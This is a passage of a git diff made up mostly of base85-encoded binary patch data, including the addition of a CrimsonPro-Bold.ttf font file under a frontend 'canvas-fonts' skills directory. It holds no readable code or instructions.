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 W*o4c2eAo@-xFeTi)L#c>r~W^H!)*Kj literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/CrimsonPro-Bold.ttf b/skills/frontend-dev/canvas-fonts/CrimsonPro-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..58730fb4c7b999b46537d613ab629b8e465251ad GIT binary patch literal 107352 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 